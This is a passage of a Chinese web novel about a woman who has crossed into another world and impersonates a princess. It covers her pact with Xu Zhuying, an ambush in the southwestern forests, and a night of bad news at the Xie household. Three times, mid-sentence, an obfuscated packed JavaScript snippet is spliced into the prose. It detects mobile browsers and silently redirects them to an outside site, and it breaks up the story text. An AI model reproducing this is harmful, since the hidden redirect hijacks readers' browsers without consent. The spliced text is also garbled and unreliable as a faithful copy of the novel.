许竹影提着他准备的几件‘心意’，扯了扯嘴角后妥协地跟上去。 第一时间跑过来的就是江水味的风与芦苇的草木香。 坐在里面的，除了芦娘，居然还有其他的人。 穿着素裙的姑娘听到他们的动静转过身，皓腕处堆满陆淮安上午刚送出的一众手串。 她面庞未施粉黛，只因坐得久了冻出点磨砂般的粉色，余下肌肤白皙似玉。 别在耳边的芦花散出细小的绒毛，静如春潭的眸子掠过浮光，正在不卑不亢去地直视来客。 "哎，你发啥呆呢。"陆淮安打完招呼，回头瞪了一眼他领来的木鸡。 “抱歉。”许竹影回过神。 不是错觉，是真得熟悉。 可这明明是第一次见面。 “我只是觉得，”许竹影斟酌说辞，迟疑道，“我好像在哪里见过她。” 8. 交易 “不能吧。” 陆淮安被他一句话整懵。 这位是最近名声才大起来的，之前好像都在江南做事，许竹影上哪见过她。 上辈子吗？ 许竹影自己也不大信：“应该是错觉。” 这样的人物，如果真在哪里见过，应该也是印象深刻此生难忘。 哪里会像现在这样朦胧。 夏荇没挡住芦娘接二连三的投喂，解决完桌上一大堆吃食，此刻正一点点地将茶往胃中灌。 陆淮安深吸几口气，把胸膛中敲鼓的心跳声忽略下去，朝夏荇迈出腿软的步子。 “想必这位就是夏——” 他眼见好不容易就要走到，一下力道没把握好，将书生礼变成了个跪礼，膝盖咚得一声重重地砸在地面上。 小楼无言，只是莫名跟着抖了抖。 陆淮安疼得龇牙咧嘴，强撑着将话说完道：“理事了吧，在下陆淮安，携同伴许竹影特来拜见。” 许竹影将那几样礼品塞入门口的空物架，嘴角隐隐有压不住的笑意。 “淮安兄第一次见芦掌柜时，便对掌柜身上的过人气魄留有印象，故以大礼，”许竹影将恨不得钻进地缝的兄弟提溜起来，边帮助整理陆淮安的衣裳边打圆场，“表达他对掌柜和理事的敬佩之情” 陆淮安扶正自己歪掉的发冠，打个哈哈道：“是，是。” 扯个理由也不扯个可信度高一点的。 芦娘大抵也头一回见这么蠢的，难得生出点对男子的同情心，递给陆淮安一块干净的方布。 “陆公子也是性情中人，都坐吧。” 她坐在客位与夏荇聊了半天，一直都是姐妹家常的轻松气氛，可这俩人一进来，凡尘俗世所锻炼出的干练就不自主地浮出水面。 几个小盘互相堆叠，釉面剐蹭出清脆的响。 “两位既然是为了找许杨心而来，自然也清楚……”芦娘说着，目光转向一直站在陆淮安身后的许竹影。 这人瞧着高瘦，足足陆淮安挑出一个头，成衣铺特地放宽的藏蓝衣裳套在身上，配合那张狐媚薄情脸，总觉得哪里缺了点什么。 许杨心能护住这样一个弟弟不被盯上，也是个人才。 “他现在大概率早就死了，逃亡三月不见踪迹，就连朝廷发的通缉都变成了要见其尸。” 问题被赤裸裸地揭开，瘫在室内的沉默里。 空气黏答答地黏着人，肆无忌惮地展示沉在草木之间的一截白色。 许竹影低着头，控制自己不往最坏的情况想。 他这段日子在‘长公主’身旁都以柔弱无害示人，压抑许久的情绪骤然爆发，面上也没做出什么反应。 “是，”许竹影应道，“所以许某不是来请掌柜和理事帮忙找人的。” 只是声音没了半点生趣。 人海茫茫，若是那人真的不知道死在了什么地方…… 还是先手刃仇人来得简单。 一贯看透人心的芦娘没接话。 倒是夏荇放下茶杯，猜到什么一般转过身子。 许竹影缓缓道：“兄长牵连的谋反一事，据说是有人走漏风声直接捅到了陛下跟前，连夜太子殿下奉旨领命，三日之内共捉拿夏家为首党系官员三百多位，问斩数千人。” 仔细想来，漏洞百出。 “先不论我哥是个死脑筋的东西，谋反怎么都谋不到他头上。” 灯火摇曳，在那对桃花眼下抹上一小片阴影。 “就是太子更是对他一路扶持，若他真干了什么对不起皇上的事，太子殿下也一定会出面保他。” 夏荇藏在袖中的手微微动了动。 若要抡那夜捉拿，其实她比许竹影这个只能东拼西凑的旁人要清楚。 毕竟她也算半个当事人。 那日下着冬雨，她的身体发烧，逃跑的记忆迷迷糊糊，多亏有平日被夏老爷照顾的百姓带着她东躲西藏，才能遇到桃姨。 江南多金，民心所向，皇帝猜忌，这是夏爹的原话。 剩下更多的东西难以窥探，她和桃姨也还在查。 只是目前仍旧毫无进展。 夏荇开口问他：“许公子是想查是否真的有谋逆一事？” “其实许某更倾向于这本就是欲加之罪。”许竹影摆出个得体且虚假的微笑。 芦娘不清楚上面的动静，本能察觉到这话题中的危险追问道：“若我们真帮你查出来了真相，你待如何。” 任何事一旦沾个什么王啊将的，都是一等一的麻烦事。 跟别提这儿明面上就有皇帝。 许竹影不答，只从袖中拿出块缺了一半的玉佩。 玉石的料子不是很好，多见棉，水也不是很多，白绿的混色在工匠手中雕琢出一颗刚刚长成的小竹。 他的指间拂过玉石冰凉的纹路，语气听不出任何的起伏：“自然是与那实际杀了我兄长的人一个下场。” 言外之意就是双双死刑。 陆淮安安详地闭上眼。 他在后悔。 后悔今天晚上没看好许竹影的嘴。 谁托人查案上来就说得后果如此严重！！！ 这不是冲着谈崩去的是什么！ 出忽预料地，他们居然没有刚说完就被赶出去。 夏荇的声音从前方飘过来，虽然说的不是什么好内容，但态度还算得上和蔼。 “听许公子这语气，是已经找准兄长下落了？” 热茶的小炉将夏荇冰凉的外衣一半烘得发烫，花窗外掠过几道飞快的鸟影。 绿茶留在粗制小杯上的水渍一点点褪去，露出窑烧时留下的几道划痕。 许竹影眸底一暗，将信息模糊化后再抛出去，言辞躲闪地道：“只是推来玩的初步断定，称不上找准。” 谁信你那鬼话才是真会被带到沟里去。 夏荇和许竹影你拉我扯大半月，一眼就知道他绝对藏着事，在内心暗暗吐槽。 “不知许公子能否细聊，”话题在故意向着许竹影设想的路径发展，“我还挺好奇的。” 芦娘给她递个眼神，唤人进来添上俩盘多炸的萝卜丸子，好给陆淮安吃着打发时间。 孩子想自己套话就让她试，芦娘的心态放得很平。 左右在她的地盘翻不出天去。 既然许竹影想设套，就给他说点想听的话。 夏荇先行画饼道：“商会下属的春风会是我在管事，若许公子不嫌弃，在西南想干些乱七八糟的事可以找我。” “春风会？” 许竹影念着这个名字，今夜总算表现出少许惊讶。 那不是花氏的核心部分之一吗。 居然让这么年轻一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320063|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理事在主理。 “理事还真是人不可貌相。” 许竹影接过小厮刚端进来的新茶，朝前一步拢起袖子，主动弯腰给夏荇满上。 “不知，”陆淮安偷偷藏起来的最后一点家当也被放上桌面，许竹影的五指放在黄梨木盒顶端，颇有律动地敲着，“能否与理事借一步说话。” 夏荇点头，跟着许竹影那个“请”的姿势起身。 “自然。” 她将手放于小室隔断的竹制屏风页上，回头转身，陆淮安为了消解心中悲痛，正在不顾一切地往嘴里塞满丸子。 许竹影拍拍他的背算作安慰，随之抬脚跟上。 小楼另一面的风景看不见芦苇荡漾的江口，散在城内的窗格上散出人家点起来的昏黄灯火。 偶尔零星的几声鸡鸣打破停滞不动的寂静，能带得摆在楼上的干芦花簇也跟着抖两下。 许竹影不先开口，夏荇便干脆站定，悠哉地开始赏起风景、 楼下的石板路窄，也不知是哪里来的醉汉没拿稳灯笼，脚下踉跄一步，脸便贴上了人家的石子黄泥墙。 等到好不容易折腾完力气，在身边人的帮助下重新站起，又将俩只长臂一挥，呜呜咽咽地大哭起来。 还没卖完火烧的老汉摊主急匆匆上前，和一句话里八成都糊作一团的小伙子展开交流。 夏荇看得正疑惑，许竹影先定睛一动，认出衣角上的将纹，冷不定开口道：“这位好像是贺闲风贺驸马。” 许竹影放下支撑窗户的木柱，将驸马爷的鬼哭狼嚎挡在外头。 “他收到侍女的传话说要和离，在对面酒楼着急忙慌等不来人，边又在长公主房门口等了至少俩个时辰，”他一挑长眉分析道，“照目前这情形，是殿下还没心软啊。” 夏荇收回视线，默默将“抱歉”在心底重复几遍。 长公主已经在江南去世，贺闲风拼命在她面前努力，逝者也不能重新冒出来与他团圆。 为了不给驸马爷盲目的希望，还是残忍地不理他为上。 “二人之间没了情分，他再可怜又有何用，”夏理事拉拉窗缝，把它关得更死了一些。 她故意玩笑道：“许公子不正是殿下身边的红人，看到驸马吃瘪不该心生雀跃？” 许竹影停在长窗框的另一对点，与夏荇拉开整个半圆窗。 “如果理事需要许某是的话。” 酒楼外的重重花影完整地投在窗纸之上，平日如清风拂面的嗓音说多了话，听起来有少许沙哑。 “在西南帮许某点小忙，许某便可以是。” 夏荇抬头注视着那从玉兰，失笑道：“什么忙？” 如果和长公主有关的话…… “帮许某杀了长公主。” 玉兰的香从没彻底堵实的窗缝里混进来。 许竹影说完，心情忐忑地等着夏荇的回答。 坦白说，他并不认为自己有什么极大的本事可以让别人冒险…… “可以。”夏荇那头已经应下来了。 许竹影：“？” 许竹影：“！！！” 他震惊地扭过头，夏荇的手搭在陈年的窗棂上，在这样的环境里依旧白得发光。 她专注地看着玉兰树，不输花色的唇微微张开，又重复了一遍刚才的话。 “杀长公主的话，可以。” 9. 袭击 坦白说，夏荇没觉得这场交易吃亏在哪。 用一个迟早要解决掉的表面身份，换许竹影接着尽职尽责当牛做马。 不仅能挡下来他偷偷作妖，甚至还能俩头的零碎活都派给他干。 简直血赚。 “许公子倒是不必如何处心积虑当好面首，”夏荇淡淡地偏过头，对上与许竹影的视线，“只要在西南时，帮忙做些事情就够了。” 袖口的玛瑙珠串系着长长的坠子，水滴形的红玉垂在空中，随着她的走动一摇一摆。 “等到西南情形稳定下来。” 夏荇擦过许竹影的右肩，丢下最后一句话：“我们就来聊聊长公主的事情。” 保证什么漏洞百出的方案都能顺利进行。 夏荇的身影转入屏风，素色逐渐消失在木雕的镂空之后。 许竹影站在原位，脑中不断地回味着夏荇方才所作出的承诺。 这件事居然如此没有难度吗？能叫她不假思索就答应。 是不是亏了？ 玉兰花树上的月亮被远方飘来的云彻底遮住，孩童哭声隐约响在一片晦暗的小城。 向东流去的江水卷走渔家还未熄灭的几点星火，芦苇卷起汹涌的浪。 夜风还在不住地撞着窗户。 …… “那风可着实给我吓了一跳，”喜言拿着比她脸还大的蒲扇，边给药炉送风边与空云抱怨道，“草叶间突然传出这么一阵动静，我还以为是蛇来了！” 难闻的药味与浓烟一同猛然扩散出来，熏得她咳嗽俩下，双眼红红地看着靠在一边树下的‘长公主’。 现下是他们赶路的第四月，她家公主本就脆弱的身体到了苗疆的群山高原，一天折腾三回还打不住。 许竹影提着新从溪边提来的一桶水，搁在夏荇腿边。 雾月捞出一勺，仔细浸透手上夏荇刚换下来的丝帕。 “殿下，”她摸摸膝上人滚烫的额头，问道，“好些了吗？再等一刻钟就又要启程了，现在想不想喝药？” 这地界离主城还有一大段的路，又地形开阔格外容易被南安人盯上，万万不可停留过久。 贺闲风行军公事公办，集合号到点就吹，一旦落在后面谁也说不好会不会被盯上。 夏荇勉强睁开一只眼睛，弱弱地“嗯”出个短音，抓着雾月冰凉的手不让她拿开。 许竹影往下拉了拉头上的斗笠，不去看面前的两人，牙莫名有点发酸。 喜言瞄到雾月的手势，麻溜地将壶中刚好小半碗的药汤倒出，几个碗来回地倒腾降温。 那几种草药混在一起的威力实在太过骇人，夏荇远远嗅见，挣扎着从雾月腿上坐起。 她转而靠在杉木树干上，低头合眼一动不动。 空云翻箱倒柜找出的几只轻便发饰被光影一晃，碎宝石闪成蝴蝶的形状。 不想喝不想喝不想喝不想喝…… 夏荇蜷缩得更明显了一些。 “殿下，”雾月接过喜言手中的药盘，好笑道，“不苦的。” 许竹影从袖中掏出走时芦娘强行塞的一包干梅脯，也递到夏荇面前。 看大小，估计里面内容物也所剩无几。 叫一个不爱吃药的现代人喝中药是否太强人所难了点。 夏荇扶额，闻着这熟悉的味道，喉咙里便似乎又有了被腥气与酸苦灌满的感觉。 更别提还是这么难喝的。 ''长公主''对着那碗药扭过脸去。 “放那儿吧，”声音格外得郁闷，“本宫过会儿就喝。” 先把胃中昨晚喝的消下去再说。 合抱就得来三四个人都不止的杉木树荫尺幅惊人，微风吹过去，给夏荇迷糊的脑子注入一丝清凉。 肩头恰好被只胆大的鸟挑中落点，她转回来端起碗，捏着鼻子咕嘟咕嘟地开始吞药。 “说来也是奇怪，”雾月接着忙活那俩块丝帕，随口道，“殿下之前喝药好像没这么大反应的，就江南回来之后是能不碰就不碰。” 她当时也就是听在春居院前头伺候的姐姐妹妹们提了一嘴，什么殿下小时候明明是个药罐子，喝起来别说现在熬的这点，再来三贴也能面不改色咽下去。 从她指尖淌下的水珠落入岩石缝中的旺盛苔藓，夏荇喝药的动作一顿，差点没被那口水呛死。 雾月没想那么多，自顾自地接下去道：“可能是落水的缘由吧，话本里不都这么写？鬼门关走了一遭就性情大变，殿下这都还算好的。” ‘长公主’喝完汤药，苦得连教训雾月的力气都没有，含着梅干瞪她俩眼。 “那殿下对驸马爷的态度倒是始终如一。”许竹影玩笑道。 他泼干净桶中剩下的水，抓着提边的手背爬满凸出的青筋。 甚至可以说有过之而不及。 许竹影隔着半个河谷，遥遥冲营帐门口的将领对去视线，颇有示威意义地摇摇手中的器物。 别看了，再看也不可能叫你来干。 对面握紧拳头，鼻尖一动，似乎是重重地哼了一声，开始叫人提前去吹集合号。 这算啥。 打不赢小白脸就耍赖？ 唯一发现并目睹这场无形对峙的夏荇站起身，隐晦地偷偷瞥了一眼许面首。 许竹影其实光比身量不输从小习武的贺闲风，若要以高挑而论，也许还能胜之。 就是脸实在太过于有欺骗性，怎么过分欺负人，第一眼打过去都能让人下意识觉得他才是无辜的那个。 简直不讲道理。 她还在出神发呆，许竹影已经抱着长公主繁重的‘排场’，刻意走远几步从夏荇眼前走过。 如桃花流水的脸骤然贴近，许竹影的眼垂着，隐隐可以瞧见还没消下去的趣味。 “如果是殿下想看的话，”温柔气息打在夏荇裸露在外的脖颈，“可以将许某叫过来。” 声音飘忽又饱含笑意。 “看多久都行。” 一听就不是什么正经话。 这人之前在书院真的有好好读书吗，怎么这都能发现。 “走吧，”夏荇撑开方才随便丢在灌木丛中的伞，假装听不懂许竹影在说什么，“时辰差不多了。” “没关系的，”许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320064|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹影被她快步抛在身后，默默地长叹出一口气，“许某自知也并无几分姿色，若殿下不想看，说一声便可。” 夏荇：“……” 要不是知道许竹影的扮深情是为了救他哥。 雾月听着许竹影那“胡言乱语”，神色都变得不太对劲了起来，耳朵后红得活像抹满整盒玫瑰胭脂。 四周草木遮天，护送长公主的车马停在波荡不停的光斑中，唢呐尾端的红丝带卷出弧度。 绿影深处的黑色间闪过鸟类彩羽才有的绚丽颜色。 喜言爬上车架，坐在车厢里不解地歪头问道：“殿下？不上来吗？” 明明马上就要出发了啊？ “不对劲。”夏荇将伞往旁边移了移。 日光下的衫木林平静如常，只是一股莫名的预感让她停了下来，鬼使神差地朝西南方再望去一眼。 垂在藤蔓上的小孩浑身涂着古怪的纹路，咧到耳际的嘴里掉了俩颗牙，俩条腿交叠在一起，松松地插住一根比他人还高的棍子。 冷汗一瞬间就从头顶冒到全身，夏荇全凭本能地向后一抓，意外攥住片溪水打湿的袖子。 “敌袭！”许竹影率先反应过来，大声朝着贺闲风那部分的营地吼去。 护在长公主周围的侍卫求稳，率先举起快要生锈的轻盾。 这大概是夏荇穿越后，封建社会迎头第二次给她的当头一棒。 藏在密林的异族人嘴中咕哝点听不懂的鬼叫，齐刷刷地从树上冒出来时，密集程度让她联想到之间在科普频道里看到的蝗灾。 吹集合号的小兵变了调子，搬运一路都没掀开过的战鼓发出节奏密集的鼓声。 他们大多耳后别着白羽，流淌着山神血液的古铜色拉起自己亲手制作的弓箭。 一时间，俩方的箭雨合在一起，似乎能将天都遮住。 贺闲风知晓这些人无法跟大恒的正规军拼补给，羽箭用光便只能暂时撤退，大喝一声下令道：“找掩体！” 他带来的这群人数量不多，是死一个少一个，要是都折在入城前他也别打仗了。 夏荇在侍卫和许竹影的护送下进了马车。 情急之下，许竹影这个唯一一个身份合适的‘面首’只得接过马车里一直备着的盾。 他“冒犯”地守在车厢最前头，除了为‘长公主’殿下挡一挡可能随时出现的箭矢，还将那点鬼话也听出少许。 “他们应该是大恒的人，”马车里的四个人全都收敛了呼吸，方便他仔细分辨，“就是和南安的勾搭在一起，见咱们车马人多就想抢劫。” 毕竟生生世世都生活在密林里的人，哪来的渠道听说这个皇帝那个公主的。 外头的情况变得更加混乱，羽箭的破空声划过长空，却不是冲着夏荇头顶的马车盖。 □□落地的重声与女人的火气颇足的骂语结合在一起。 “殿下，这句杂了大恒官话，好理解一些。” 动静逐渐变轻，估摸有另一方的势力进场，许竹影放心地松开盾牌。 他认真翻译：“应该是：谁给你们的胆子，动姑奶奶要接的人！” 10. 府城 夏荇掀开纱帘的一角。 还在江口城时，芦娘给的资料上就写道谢家幺女风姿过人、才情绝对不输家中叔伯，今日远远得瞧见个背影，才发现执笔人还是太过于谦逊。 谢初时手下出剑利落干脆，刃口划过异族首领绷直的脖颈，却不着急取他性命。 她反手一翻剑花，竟是光听声音就拦了一把从树影间闪过来的暗器，看着那首领发笑。 “如果你就这点本事，还是早点回家舔南安人的臭脚吧。” 这分明就是实打实的首将胚子。 夏荇眼中掩不住的瞧见人才的惊艳，放下帘子恨不得立刻飞到谢初时旁边去。 喜言抱着头缩在她旁边害怕，感受到夏荇动了连忙抱住‘长公主’的胳膊，小声惊呼道：“殿下！外头危险！” 小丫头自个儿都还是梳俩个丸子的年纪，扮起正经来没有半点威慑力。 行吧。 夏荇妥协。 ‘长公主’捡起许竹影不要的盾牌竖在身前，眼神乱瞄却嘴硬道:"本宫只是想拿个东西。" 许竹影只当她是太害怕却不敢说，默默挪到更能提防外面突然发难的位置。 他站得外头视野更好，方才自然比夏荇看得还要更加清楚。 谢初时从树上把那头头一脚踹下来时，连飞舞的高马尾都写着英姿飒爽四个大字。 谢家居然出了这样一位人物。 之前怎么都没听过。 马车里的俩个人隔着帘布遮掩各怀鬼胎，马车外头，谢初时随手压着已经吓到尿裤子的首领，往贺闲风已经准备好的绳子那边走。 “喂，”她把人摁在碎石地上，冲贺玄风道，“你就是这次护送长公主的那位？” 一瞧就是在平地打仗打多了，一遇到复杂的地形就抓瞎。 周围的人都找急忙慌地上来，给留下的几十个活口一个个捆上麻绳。 “是。”贺闲风收起长枪。 他着实不知人家来历，索性抱拳问她：“不知姑娘如何称呼，家中父兄是谁？” 谢初时一挑长眉，反问道：“怎么姑娘带兵，你还要问起父兄来了？今日是我父兄救的你们吗？” “这……”贺闲风尴尬地笑。 “本姑娘姓谢，就是你们听说过最多的那个谢。” 谢初时自知和朽木脑袋解释不清楚，又鄙夷他几眼：“瞧你这看不起姑娘的样子，估计也没媳妇能忍你。” 不是娶不上就是要和离。 贺闲风：“……” “原来是谢姑娘，真是久仰大名。”真被说中了的驸马爷从喉咙里挤出一句话。 谢初时懒得和他掰扯，朝自己带来的人一吹口哨：“行了，也不用和我扯你们宫里的礼数。” 这么个适合被包饺子的地儿，还是赶紧走为妙。 许竹影看到她翻身上马，徒留驸马爷咬碎一口牙下令启程，钻出去架马前特意往夏荇那里看了一眼。 ‘长公主’歪着身子将头支在矮桌上，目光同样饶有趣味地看着那俩人的动静。 只不过一直看的是谢初时而已。 …… 哪怕有擅长走近路的谢家人带路，到达苗疆府城的时候也已是半夜。 夏荇坐车再一次坐得晕头转向，站在前头看不清底下的路，等到认出哪是石砖哪是苔藓时，许竹影的手心已经扶住了她。 头顶的星星在高原似乎都被放大。 发间最后残留的一点梨花味彻底消散在西南百花争艳的夏初。 “殿下，”许竹影注视夏荇愣神的眼睛，幽幽喟叹道，“其实有时候累了的话，可以和旁边人说。” 说完，他自己也顿了一下。 不对啊。 长公主从小众星捧月，京中谁人不知道，应该是从来就没烦恼过要自立自强的娇纵性子。 可是为什么她刚刚一脸倦容地迷糊时，能叫他感觉到一点心疼？ 更值得心疼的不应该是赶了四个月车被当成驴使的他吗！ 下人还有工钱呢！他纯纯自找的。 夏荇借着许竹影的力总算三俩步走下马车，敷衍地回道：“那下回一定告诉你。” 假的。 谁和要取自己命的人推心置腹才是脑子有泡。 长公主身份尊贵不能叫外头的人瞧见脸，一路进了谢家的内院才出来，迎面的是家中唯二俩个可以做主的女眷。 谢初时换了身长裙坐在里头，她娘好不容易才说动带上的流苏蝴蝶钗晃在耳畔，神色压不住的难看。 先行下车的主管拿着披风过来抖开，颇为熟练地哄道：“殿下，这里夜里冷，寒暄也要好一会儿，先披上吧。” 谢夫人从台阶上下来行礼，牵起夏荇的手爽朗道：“不用，屋子里有火炉可暖和了，进来吃几块包浆豆腐就不冷了。” 她刚备了好多，就怕招待不周。 饿疯了的谢初时嚼嚼嘴中刚烤好的最后一块豆腐，略显心虚地又添了几块上去。 夏荇笑着点头，跟着夫人一前一后进去。 谢家的候府不大，装潢摆设也并不像个百年传承的大家。 他们祖上跟随高祖建功立业，打下大恒江山后就自行请功镇守西南，算是后头清缴功臣中为数不多存活下来的开国列候。 然而这地界实在离皇帝太远，昔日的辉煌逐渐埋没在权力更替中，京城权贵便开始排挤嘲讽，说谢家是自己上赶着当的看门狗。 夏荇扶起要给她行礼的谢初时，坐入谢夫人旁边的位置，当年从京城带过来的红木家具经过岁月沉淀，只是多了层人盘出来的光泽。 世代武将忠魂不散，西南边关百年不破，原本落后的苗疆都城春花烂漫，谢家的御赐牌匾挂在门口，百姓来来往往，只是嬉笑地在底下摆上芭蕉叶，卖起洋芋与辣椒。 倒是比京城还要更像个热闹地方。 谢夫人先端给夏荇一小盘烤好的包谷，火红的蘸水里磨了花椒粉，还没吃到嘴里舌尖就感觉到了麻意， “殿下的府院还要收拾几天，现下人手不足，青年壮丁都跟出去到处打仗了，”她一边翻着火炉上的各种东西，边给夏荇解释道，“南安那边老是想着跑过来抢劫，也不知这日子啥时候是个头。” 谢初时上前给夏荇倒茶，随口接道：“爹不是说一个半月前就给陛下上旨了，增援应该快到了吧。” 旁边的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320065|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个侍女被她挡在后头，顶着主管‘还不上去伺候’的眼神却抢不到活，急得凑到谢夫人跟前去。 “我还没说你，一声也不吭，带着你哥偷偷分的几百个人就跑出去了，万一冲撞殿下怎么办。” 谢夫人将小火炉让给俩眼巴巴的喜言，开始数落女儿。 她摩挲‘长公主’保养得挑不出一丝瑕疵的手，从手腕上摘了个祖母绿镯子就要给夏荇套上：“殿下莫怪，这女儿我从小惯到大，行为举止都由着她，要是哪里说话不得当得罪了殿下，只管和我说，我一定死死地罚她。” 谢初时下午在驸马面前说的那份话也算大逆不道，要是长公主在乎面子想要追究，谢夫人也拦不住。 只得先塞个贵东西看看能不能说话。 夏荇瞧瞧那镯子满绿冰种的成色，又瞅瞅谢家简朴大方的摆设，估摸这大概是谢夫人压箱底的传家东西。 “夫人过誉了，”她不动声色地将那镯子推回去，“令爱性情直爽讨喜，本宫没觉得有什么冒犯的。” 言下之意就是不追究什么责罚。 谢夫人大喜过望，又掏出个更为小巧精致的小戒指塞给夏荇：“那可真是太好了，给殿下准备暂时歇脚的院子就和木兰的挨着，等明儿殿下醒了，两个人约着出去逛逛。” 这次不接下就有点说不过去了。 夏荇给候在屋外的管家递一个眼神，示意他也去马车上取个什么贵重东西来，笑盈盈地道：“木兰？是谢姑娘的小名吗？” 是种十分契合谢初时才情的花朵呢。 “是，她爹满脑子只有打仗用兵，名字都是我翻书取的，”谢夫人看一眼下头一门心思吃东西的谢初时，没好气地又给她添几筷子牛肉，“玉人初上木兰时，本来想着她那时候模样乖巧像个小玉人，结果长大了也是个谢家一脉相承的疯性子。” 今天不就又自己带兵出去了。 还好没出什么事。 “家中男人现在都不在府城，最快的也要过几天才回来。” 谢夫人夹起一块豆腐，本想着放到夏荇早该空了的盘子里，谁料那几小块包谷还端端地放在里面，竟是被放到凉了还未动。 “殿下，是做得不合胃口吗？”谢夫人惊讶地问道，“还是不喜欢吃包谷？” 夏荇有些绝望：“……” 她穿越前还是穿越后都是个十成十的江南胃，吃甜不吃辣，看见辣椒能躲得十里远。 可偏偏长公主是个嗜辣如命的性子，饭菜里的辣椒每次都能装一箩筐，她装都没法装，只能借身体不适吃得清淡。 就这顿特色烧烤上的辣椒蘸水，能要她半条命。 眼见这回躲不过去，她颤抖着夹起一小块包谷，抱着壮士视死如归的心态塞进嘴里。 “没有，本宫只是……” 原本平静如常的夜空响起一道沉闷的雷声。 从大门口急匆匆冲进来的几个将士铠甲连接处还有半干不干的血，最前头的那个浑身汗涔涔，往地上一跪就开始报告。 “启禀夫人，”他眼里闪着晶莹的泪水，“二公子方才在玉湖被南安人埋伏，所率三千人全灭，二公子也下落不明！” 天，要下雨了。 11. 长夜（修） “什么……”谢夫人手中的筷子一时没拿稳，其中一根滑出手心，直挺挺地磕在地砖上。 她定了定神，扶着桌角支撑身子问道：“这是什么时候的消息。” 雷雨几乎在瞬息之间就笼罩了整个沉睡的都城，谢府屋檐下的灯笼摇晃在风雨中，底下每一处石砖上都盖着厚厚一层流动的水光。 许竹影无所事事地数过最后一遍星星，提起衣裳下摆朝里面站得更近了些。 屋内传出来的所有言论都被愈发嚣张的雨声盖过，同潮湿的水汽一样模糊，且不由分说地萦绕在他四周。 这场雨实在是来得太过巧合，叫他不受控制地想起他第一次进长公主府的情景。 不过、倒也有些不一样的东西。 坐在堂上的‘长公主’手边搁个要被侍女堆成小山的盘子，坐姿前倾不顾仪态，俨然全副注意力都被谢夫人与下属的交谈吸引过去。 就是眼珠稍稍平移，对着他的方向无声地开口： 去把驸马叫过来。 不一样到。 意外地从对手熬成了共犯。 “遵命，”许竹影罕见地品位出少许稀奇，弯下腰恭恭敬敬地摆了个告退礼，看着夏荇回道，“殿下。” 他眼底噙着玩味的笑意，低头说话间喉结滚动，藏蓝衣衫毫无违和地融入身后的无边夜色。 说完，伞也不拿一把就去冲进雨里。 也不知道发的什么疯。 夏荇：“。” 算了，能达到目的就好。 反正淋的不是她。 她重新将视线投回到面前疲惫万分的谢夫人身上，该说知女莫如母，谢夫人一只耳朵听着下属对于儿子的汇报，居然还能分出心思叫侍卫把拿起剑就要跑的女儿给拦下来。 “初时，别胡闹，”她板着一张脸训斥女儿，“现在这么大的雨，你找急忙慌地出去了能顶什么用！” 谢初时扒开那几个不敢对她怎么样的侍卫，反呛道：“那我不去还能谁去。” 她利落拔下那俩只丁零当啷吵个没完的蝴蝶钗，三千青丝失去支撑，随着她的跑动在身后散成一条长瀑。 谢初时还没跑出屋子，守在门口的几位侍卫听了夫人呵斥，早已默默排成一堵人墙，扭开脸不叫她过去。 后头被她巧力冲开的几个也从地上爬起来，以包围之势慢慢靠近。 谢初时按着剑柄的手又重新垂回身侧：“……” 这都是她自己家的人，她也不可能拿剑强行突出去。 有再厉害本事的神仙也干不过这么猛的人海战术。 “大哥还要守着府城万万不可动，娘要管着调度抽不开身，”谢初时见她娘还不点头，转过身噼里啪啦倒出一堆话，“况且玉湖那地界我才是咱家里最熟的，我去找的话更有可能把二哥找回来。” “你……”谢夫人眉眼间稍有动容。 平心而论，无论从哪个角度考虑，叫谢初时去是最稳妥也最有可行性的法子。 可是外头现下四处埋伏，又是深夜大雨，出去找人时遇上南安的部队，少不了又是一场血战。 谢初时还是个姑娘家，当娘哪里忍心放她出去领军受苦。 夏荇猛灌一大壶凉水，终于压下从舌尖蔓延到胃部的灼灼辣意，确认声音听不出什么端倪后开口道：“夫人要是觉得木兰一个人去不太放心，本宫这儿倒是觉得还有个家伙可以用。” 贺闲风背上长枪未卸，从谢初时让出的道中步入屋内，虽然理智尚存打了把伞，但情况也和许竹影五十步笑百步。 他用手背撩开额前的湿发，看清堂上情形后目光稍有不解，先干脆利落地单膝跪下，冲谢夫人与夏荇行礼。 夏荇侧过脸，避开他炙热的视线。 贺闲风眸底暗了暗，发丝尾部的雨聚成水珠，渗入甲胄下的劲装里。 他红着眼睛、喑哑地问：“微臣方才来的路上摔了一跤，故稍微耽搁了些功夫。” 穿堂风刮过身畔，带着点破碎的树叶。 “不知长公主殿下有何吩咐。” 夏荇没处理过这么复杂的感情情况，一时语塞。 她不是正主，全然不知长公主当时和驸马闹掰的缘由是什么。 顶着这个身份，贸然跟他说点什么也容易被误解。 